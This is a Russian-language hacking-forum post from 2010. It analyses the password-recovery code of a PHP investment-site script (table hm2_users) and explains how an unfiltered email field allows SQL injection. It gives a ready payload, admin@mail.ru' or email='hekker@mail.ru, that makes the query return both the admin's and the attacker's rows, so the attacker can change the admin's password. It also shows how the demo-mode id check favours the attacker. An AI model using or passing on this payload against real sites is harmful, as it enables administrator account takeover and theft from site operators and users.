|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
ну тут скуля на лицо, нет проверки на то, что значение при запросе только одно, т.е. просто написав емайл админа и потом свое мыло (мы должны быть предварительно зарегены на сайте и иметь живое мыло), т.е. типо в сторону or копать, т.е. например такой запрос будет правильный:
$q = 'select * from hm2_users where username= '' . $email . ' or email=' . $email . ' or email = "а_тут_email_ взломщика"' ;
и вернет данные как по админу, так и по нашему акку, и все последующие действия будут верны как для почты админа, так и для почты хеккера, т.е. мы МОЖЕМ поменять пароль как себе, так и админу
а проверка на id, которая типо существует, работает как раз на хеккера:
if (($settings['demomode'] == 1 AND $row['id'] <= 3))
{
}
else - тут как раз наоборот должно быть типо "Хеккер дай!"
т.е. это ровным счетом означает, что чувак, надо чтобы у тебя id было >3, флаг тебе в руки
ну а дальше идет while, который делает необходимые действия СО ВСЕМИ РЕЗУЛЬТАТАМИ первого sql запроса (где выбирается юзер по email), которых может быть не один, ибо проверки нет
PS: Ну и не фильтруется нифига ничего, это понятно. Диагноз не факт что правильный, беглый просмотр
т.е. при восстановлении вписать в поле мыла чонить вроде этого:
admin@mail.ru' or email='hekker@mail.ru
Последний раз редактировалось Pashkela; 05.03.2010 в 20:00..
|